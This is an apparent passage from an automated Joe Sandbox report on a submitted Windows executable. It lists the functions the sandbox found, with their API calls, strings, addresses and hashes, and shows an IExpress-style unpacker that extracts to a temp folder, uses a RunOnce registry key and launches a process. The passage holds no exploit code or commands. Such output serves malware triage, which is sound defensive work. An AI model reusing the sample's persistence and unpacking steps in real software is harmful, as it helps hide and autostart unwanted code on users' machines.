RegCloseKey.ADVAPI32 ref: 00007FF7E6E8637B

Strings

wextract_cleanup0, xrefs: 00007FF7E6E86363
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E8629C
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF7E6E86340

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: DeleteFileFreeLocal$AttributesCloseCurrentDirectoryOpenValue
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 3049360512-2947520418
Opcode ID: 88b67cf9d0802eb801fbc77634297f52a5ae07bc3bb60e3e8d3801540334588a
Instruction ID: 241f17289ff3a60c6d49a6bd3e5f52e9183db7f01d5dbb9a3620d8aec2e4a3b5
Opcode Fuzzy Hash: 88b67cf9d0802eb801fbc77634297f52a5ae07bc3bb60e3e8d3801540334588a
Instruction Fuzzy Hash: DB51FF21A286C286EA51AB14FC543BAF7A0FB85F45F8C4172D68D4B6D5DF3CD848C722

Function 00007FF7E6E8473C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF7E6E847AE
WaitForSingleObject.KERNEL32 ref: 00007FF7E6E847CA
GetExitCodeProcess.KERNELBASE ref: 00007FF7E6E847E0
CloseHandle.KERNEL32 ref: 00007FF7E6E84881
CloseHandle.KERNEL32 ref: 00007FF7E6E84892
GetLastError.KERNEL32 ref: 00007FF7E6E848BE
FormatMessageA.KERNEL32 ref: 00007FF7E6E848EF

Strings

, xrefs: 00007FF7E6E8479C

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-3916222277
Opcode ID: 98467f424fe36bd15bb507385cdbd18d0c765d323d878b3b0929ff50d27d6618
Instruction ID: 76368c629e4880684328a949cc9f577d5a931c2be0bb26997186bdc25629ac54
Opcode Fuzzy Hash: 98467f424fe36bd15bb507385cdbd18d0c765d323d878b3b0929ff50d27d6618
Instruction Fuzzy Hash: 84516E329287C1C6E760AB14E85537BF7A0FB88B55F884136E68D4A6E4CF7CD444CB62

Function 00007FF7E6E82318 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF7E6E8236D
RegQueryValueExA.KERNELBASE ref: 00007FF7E6E8239C
RegCloseKey.KERNELBASE ref: 00007FF7E6E823B7
RegOpenKeyExA.ADVAPI32 ref: 00007FF7E6E823EE
RegQueryInfoKeyA.ADVAPI32 ref: 00007FF7E6E82436

Strings

System\CurrentControlSet\Control\Session Manager, xrefs: 00007FF7E6E8235F
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00007FF7E6E823E0
PendingFileRenameOperations, xrefs: 00007FF7E6E8238A

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: ed84ebcdca9ba12ea1915114950aff5f0d43cebd3ec67e9f63dd23e0e0abc583
Instruction ID: 02d901b94573ced9e9e4b49a99517620b208302ecd73e258c3a5015c022038b3
Opcode Fuzzy Hash: ed84ebcdca9ba12ea1915114950aff5f0d43cebd3ec67e9f63dd23e0e0abc583
Instruction Fuzzy Hash: AF319F32A18B82CAD7109F24FC406AAF7A4FB89B44F884536E68D07B94CF38D454CB51

Function 00007FF7E6E863B8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E6E8114C: _vsnprintf.MSVCRT ref: 00007FF7E6E81189

RemoveDirectoryA.KERNELBASE(0000000A,00007FF7E6E82CE1), ref: 00007FF7E6E86423
GetFileAttributesA.KERNELBASE ref: 00007FF7E6E86432
GetTempFileNameA.KERNEL32 ref: 00007FF7E6E8645B
DeleteFileA.KERNEL32 ref: 00007FF7E6E86473
CreateDirectoryA.KERNEL32 ref: 00007FF7E6E86484
CreateDirectoryA.KERNELBASE ref: 00007FF7E6E864BB

Strings

IXP, xrefs: 00007FF7E6E8644E
IXP%03d.TMP, xrefs: 00007FF7E6E863E6

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: IXP$IXP%03d.TMP
API String ID: 1082909758-3932986939
Opcode ID: a8932f2c933087a6f7710ab058026970ef7685da5f8c2755a45c3c5b36be9ab1
Instruction ID: 26a8263f8826bea92a16cf54671c872fb1aac306d8b9c02416a194d2cb7f7cad
Opcode Fuzzy Hash: a8932f2c933087a6f7710ab058026970ef7685da5f8c2755a45c3c5b36be9ab1
Instruction Fuzzy Hash: 3A212F31A189C186E610AB16BD543FAE791FB8AF91F888132DD8E4B7D5CF3CD445C612

Function 00007FF7E6E88200 Relevance: 12.1, APIs: 8, Instructions: 136sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E6E88964: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7E6E88994
Part of subcall function 00007FF7E6E88964: GetCurrentProcessId.KERNEL32 ref: 00007FF7E6E889A2
Part of subcall function 00007FF7E6E88964: GetCurrentThreadId.KERNEL32 ref: 00007FF7E6E889AE
Part of subcall function 00007FF7E6E88964: GetTickCount.KERNEL32 ref: 00007FF7E6E889BA
Part of subcall function 00007FF7E6E88964: GetTickCount.KERNEL32 ref: 00007FF7E6E889CA
Part of subcall function 00007FF7E6E88964: QueryPerformanceCounter.KERNEL32 ref: 00007FF7E6E889E5

GetStartupInfoW.KERNEL32 ref: 00007FF7E6E88235
_amsg_exit.MSVCRT ref: 00007FF7E6E88270
Sleep.KERNEL32 ref: 00007FF7E6E8827C
_initterm.MSVCRT ref: 00007FF7E6E8830A
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7E6E88337
exit.MSVCRT ref: 00007FF7E6E883C9
_cexit.MSVCRT ref: 00007FF7E6E883D8
_ismbblead.MSVCRT ref: 00007FF7E6E883F8

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: d49111f4b884f1987b7511ab97b886bea71faf8ec09ccfccceaf9d5ebbbc5980
Instruction ID: 187acba5fc74f0a6fea179113941eb291c18ded6adbfe99ea799535785f3c323
Opcode Fuzzy Hash: d49111f4b884f1987b7511ab97b886bea71faf8ec09ccfccceaf9d5ebbbc5980
Instruction Fuzzy Hash: 37513B31928A8286E760AB65EC54377A3A0FB45F64FDC0432D98D8B6D5DF3CE841C762

Function 00007FF7E6E860A4 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85078
Part of subcall function 00007FF7E6E85050: SizeofResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85089
Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850AF
Part of subcall function 00007FF7E6E85050: LoadResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850C0
Part of subcall function 00007FF7E6E85050: LockResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850CF
Part of subcall function 00007FF7E6E85050: memcpy_s.MSVCRT ref: 00007FF7E6E850EE
Part of subcall function 00007FF7E6E85050: FreeResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850FD

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF7E6E83123), ref: 00007FF7E6E860C9
LocalFree.KERNEL32 ref: 00007FF7E6E86142

Part of subcall function 00007FF7E6E84DCC: LoadStringA.USER32 ref: 00007FF7E6E84E60
Part of subcall function 00007FF7E6E84DCC: MessageBoxA.USER32 ref: 00007FF7E6E84EA0

Part of subcall function 00007FF7E6E87700: GetLastError.KERNEL32 ref: 00007FF7E6E87704

Strings

<None>, xrefs: 00007FF7E6E8615A
UPROMPT, xrefs: 00007FF7E6E860B1, 00007FF7E6E8610E
, xrefs: 00007FF7E6E86198

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: $<None>$UPROMPT
API String ID: 957408736-2569542085
Opcode ID: 3c89efd78b919c53ae921da62a7823d40fc529b0e6928f9f5a66cf62d4f2101d
Instruction ID: 9035c5d1042de8d18701ed8f7577a86e1d98560b63b7383bafed24c2f7606c28
Opcode Fuzzy Hash: 3c89efd78b919c53ae921da62a7823d40fc529b0e6928f9f5a66cf62d4f2101d
Instruction Fuzzy Hash: B7317071E2838287E7216B20ED5077BFA51FB85F84F884136CA8E0A6D2DF7DD4048B12

Function 00007FF7E6E85380 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32 ref: 00007FF7E6E85407
CreateFileA.KERNELBASE ref: 00007FF7E6E854C5
CreateFileA.KERNEL32 ref: 00007FF7E6E8557E

Strings

*MEMCAB, xrefs: 00007FF7E6E853FD

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: CreateFile$lstrcmp
String ID: *MEMCAB
API String ID: 1301100335-3211172518
Opcode ID: fab58b71c17961be18cd8b0539a41123d81d0c9073bbe07ec3ef194c0142598e
Instruction ID: 94050c8daedb2e5b274a3c07dcfe3c420e1c8c44b5f8c2cf25102abcf29f2721
Opcode Fuzzy Hash: fab58b71c17961be18cd8b0539a41123d81d0c9073bbe07ec3ef194c0142598e
Instruction Fuzzy Hash: AC61BA629287C186F7A09B14AD84376BA91F745F74F885336CAAE0B7D1CF7CE4058722

Function 00007FF7E6E858B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00007FF7E6E8598F
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF7E6E859AD
SetFileTime.KERNELBASE ref: 00007FF7E6E859D5
SetFileAttributesA.KERNELBASE ref: 00007FF7E6E85A0B
SetWindowTextA.USER32 ref: 00007FF7E6E85A3E

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E8593B, 00007FF7E6E85A5A

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: FileTime$AttributesDateLocalTextWindow
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 1150793416-1955631000
Opcode ID: 8ba837678c1f67d615ec5eef46cb77bfad3a32e48b5654526580d0bdf889563c
Instruction ID: a49b5264b18684f559bb215e3a33d398b5cec8ec7035cc85701bed28599bed94
Opcode Fuzzy Hash: 8ba837678c1f67d615ec5eef46cb77bfad3a32e48b5654526580d0bdf889563c
Instruction Fuzzy Hash: 7D518321A38AC285EA90AB15DC403BBA790FB48F50FCC5133D98E4B2D6CE3CE545C361

Function 00007FF7E6E84C68 Relevance: 10.6, APIs: 7, Instructions: 100COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6E8156E), ref: 00007FF7E6E84C9B
GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6E8156E), ref: 00007FF7E6E84CBC
GetDC.USER32 ref: 00007FF7E6E84CD9
GetDeviceCaps.GDI32 ref: 00007FF7E6E84CF0
GetDeviceCaps.GDI32 ref: 00007FF7E6E84D07
ReleaseDC.USER32 ref: 00007FF7E6E84D20
SetWindowPos.USER32 ref: 00007FF7E6E84D92

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 0d796e944f2108898d7f7223ae91cc33082503468592f481f03ae45c8c0a45dc
Instruction ID: fb5ab862797e0f36d4e57c8b1e5c5e5c7dade5106efbc3d59d7426d25bbbeb91
Opcode Fuzzy Hash: 0d796e944f2108898d7f7223ae91cc33082503468592f481f03ae45c8c0a45dc
Instruction Fuzzy Hash: 4C318232B246418AE7109B75E8046BEBBB1F789F99F995131CE4A57B84CF3CE445CB10

Function 00007FF7E6E86B70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE ref: 00007FF7E6E86BA0

Strings

TMP4351$.TMP, xrefs: 00007FF7E6E86C03

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: AllocLocal
String ID: TMP4351$.TMP
API String ID: 3494564517-2619824408
Opcode ID: 115a3f27e39781d027e0477db835a776448aec340d541b983af64270222d4fc0
Instruction ID: c6eb98ce7d295054a40796a390f4387be14a25d43f5c5e8fa1026a1216d4b401
Opcode Fuzzy Hash: 115a3f27e39781d027e0477db835a776448aec340d541b983af64270222d4fc0
Instruction Fuzzy Hash: 1A318121A1878186E7106B24B8143BBFA91FB85FA4F884336DAAE0B7D5CF3CD4058711

Function 00007FF7E6E85690 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E6E83B40: MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF7E6E83A09), ref: 00007FF7E6E83B64
Part of subcall function 00007FF7E6E83B40: PeekMessageA.USER32 ref: 00007FF7E6E83B89
Part of subcall function 00007FF7E6E83B40: PeekMessageA.USER32 ref: 00007FF7E6E83BCD

WriteFile.KERNELBASE ref: 00007FF7E6E856E4

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 98c152f8f55bf9a598385b6332d329f7c6a89d95a4b0cf9b0f7515c751b46731
Instruction ID: 3294931d5d37de87bc32ccf215d68cc261d48c1ae8bd4e337359dee14bcdddb7
Opcode Fuzzy Hash: 98c152f8f55bf9a598385b6332d329f7c6a89d95a4b0cf9b0f7515c751b46731
Instruction Fuzzy Hash: 2A219220A28AC286E710AF55EC44736F761FB85F94F988236D9AD0E6E5CF3DE405CB11

Function 00007FF7E6E851BC Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 00007FF7E6E851C9
SetFileAttributesA.KERNEL32 ref: 00007FF7E6E8524E

Part of subcall function 00007FF7E6E87AC8: FindResourceA.KERNEL32 ref: 00007FF7E6E87AF2
Part of subcall function 00007FF7E6E87AC8: LoadResource.KERNEL32 ref: 00007FF7E6E87B09
Part of subcall function 00007FF7E6E87AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF7E6E87B3F
Part of subcall function 00007FF7E6E87AC8: FreeResource.KERNEL32 ref: 00007FF7E6E87B51

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Resource$AttributesFile$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 2018477427-0
Opcode ID: 2994afcc96e4644f858f991349daac6ec3ef4dc9132b2516fbef1fb9fafb314f
Instruction ID: 58fb6dbac6f4d0aa410ee604506b16129162556df6f0bfffa5a6037aaea02434
Opcode Fuzzy Hash: 2994afcc96e4644f858f991349daac6ec3ef4dc9132b2516fbef1fb9fafb314f
Instruction Fuzzy Hash: BA114C3192C6C682E6906B54AD84376A6A0FB45F58FDC4233C9CD0B6E6CF7DE8848712

Function 00007FF7E6E87BA8 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CharPrevA.USER32 ref: 00007FF7E6E87BEF

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: fe64812d24aaa535377f96cafa4c6c3212caf3ba105ea9cba34c300c858a7088
Instruction ID: 9b0a7ba840be0228def96a157916da0e87504cf3a898469f44be2381ed138d1d
Opcode Fuzzy Hash: fe64812d24aaa535377f96cafa4c6c3212caf3ba105ea9cba34c300c858a7088
Instruction Fuzzy Hash: 7001E11191C6C186FB016B11AC4136EEE90B746FA0F9C9231DAA90F7D6CA3CD4428712

Function 00007FF7E6E85770 Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF7E6E857A9

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b743c40088155ea186d23191c44c420b4fd161faa50afe9f4e766b5de3d239a5
Instruction ID: 1eeae3b4dcb528388f8559f67dc17e3dfc6a401a54dc6db3bb4c840ed2637c1f
Opcode Fuzzy Hash: b743c40088155ea186d23191c44c420b4fd161faa50afe9f4e766b5de3d239a5
Instruction Fuzzy Hash: 6CF062316187C1C2DB585F25FA80279B660FB48F58F58C236DA6B4B6D4CF39D484CB21

Non-executed Functions

Function 00007FF7E6E83530 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 174windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF7E6E835AA
EndDialog.USER32 ref: 00007FF7E6E8374E
GetDesktopWindow.USER32 ref: 00007FF7E6E8377E
SetWindowTextA.USER32 ref: 00007FF7E6E8379F
SendDlgItemMessageA.USER32 ref: 00007FF7E6E837C3
GetDlgItem.USER32 ref: 00007FF7E6E837E0
EnableWindow.USER32 ref: 00007FF7E6E837F1
EndDialog.USER32 ref: 00007FF7E6E83804

Strings

, xrefs: 00007FF7E6E836B6
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7E6E83635
Adv, xrefs: 00007FF7E6E83795

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Window$DialogItem$DesktopEnableLoadMessageSendStringText
String ID: $Adv$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 3530494346-2156566418
Opcode ID: 02408ae6c79d5afd0dbd1d350f378b5c084b7eca4ab1b8cbcc717c39842157fc
Instruction ID: f1d66c6ba56bfd60ab267daff9fd7d5933caa2db865ea95f52d0d44c7bb50634
Opcode Fuzzy Hash: 02408ae6c79d5afd0dbd1d350f378b5c084b7eca4ab1b8cbcc717c39842157fc
Instruction Fuzzy Hash: 7C718561E287C2C6F750AB55AD0077BEA91FB95F91F9C4132CA8E0A6D5CF7CD0058722

Function 00007FF7E6E812EC Relevance: 16.6, APIs: 11, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E6E811CC: LoadLibraryA.KERNEL32 ref: 00007FF7E6E81209
Part of subcall function 00007FF7E6E811CC: GetProcAddress.KERNEL32 ref: 00007FF7E6E8122B
Part of subcall function 00007FF7E6E811CC: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF7E6E81278
Part of subcall function 00007FF7E6E811CC: FreeSid.ADVAPI32 ref: 00007FF7E6E812A0
Part of subcall function 00007FF7E6E811CC: FreeLibrary.KERNEL32 ref: 00007FF7E6E812AF

GetCurrentProcess.KERNEL32 ref: 00007FF7E6E8134D
OpenProcessToken.ADVAPI32 ref: 00007FF7E6E81363
